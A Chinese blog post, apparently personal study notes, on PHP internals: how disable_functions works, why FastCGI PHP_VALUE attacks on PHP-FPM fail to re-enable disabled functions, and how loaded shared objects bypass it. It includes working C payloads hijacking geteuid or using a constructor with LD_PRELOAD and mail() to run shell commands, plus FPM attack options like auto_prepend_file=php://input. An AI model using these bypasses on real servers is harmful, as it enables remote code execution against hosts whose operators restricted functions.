php内核分析-fpm和df的问题思考

297 阅读3分钟

image.png 这篇文章灵感是来自看了一篇文章《PHP内核分析-FPM和disable-function安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了,所以自己就简单的记录一下自己的思考,如文中有错误希望师傅们指出

介绍

php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。

image.png

然后通过zend_disable_function()函数去禁止,简单的说就是通过 func->handler = ZEND_FN(display_disabled_function); 修改了handler。

在这里插入图片描述

image.png

而phpinfo⼀直是查看服务器php信息的可靠⽅式,但是在包含修改 disable_function的参数攻击FPM后,phpinfo已经显示修改,但是测试函数仍然禁⽤。在fpm攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值为我们传⼊的内容,⽽phpinfo展示的值就源于这⾥。

image.png

还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数,再调⽤ zend_disable_function 函数修改 func->handler完成禁⽤。

image.png 所以说,包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息

的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。

总结

disable_function 的本质是修改 func->handler 完成对函数的禁⽤。 包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。 攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。 思考 那么我看网上有一下介绍是通过fpm来绕过disable_function。那么是怎么实现??底层到底是什么?

这里给出自己的答案,之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir +extension,然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过???

是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce(图片是来自上述文章)

image.png

下面是清楚点的。

image.png

LD_PRELOAD与putenv的配合使用,即LD_PRELOAD这个环境变量指定路径的文件(也是so文件),会在其他文件被调用前,最先被调用而putenv可以设置环境变量。

image.png

而一叶飘零师傅文章中介绍了某一个php函数,我认为是在执行的过程中能fork子进程的函数(启动外部程序的函数并能执行)然后我们hook该fork子进程,进行重写,完成rce。

例如:mail(‘’,’’,’’,’’);

#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so

还有imap_mail()、mb_send_mail()和error_log()函数等

然后还有一个进化版本

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

其中__attribute__ ((constructor))有如下说明

1.It’s run when a shared library is loaded, typically during program startup. 2.That’s how all GCC attributes are; presumably to distinguish them from function calls. 3.The destructor is run when the shared library is unloaded, typically at program exit.

1.它在加载共享库时运行,通常在程序启动时运行。//putenv(“LD_PRELOAD=hack.so”); 2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。 3.析构函数在卸载共享库时运行,通常在程序退出时运行。

所以我们就不需要找一个函数去触发了。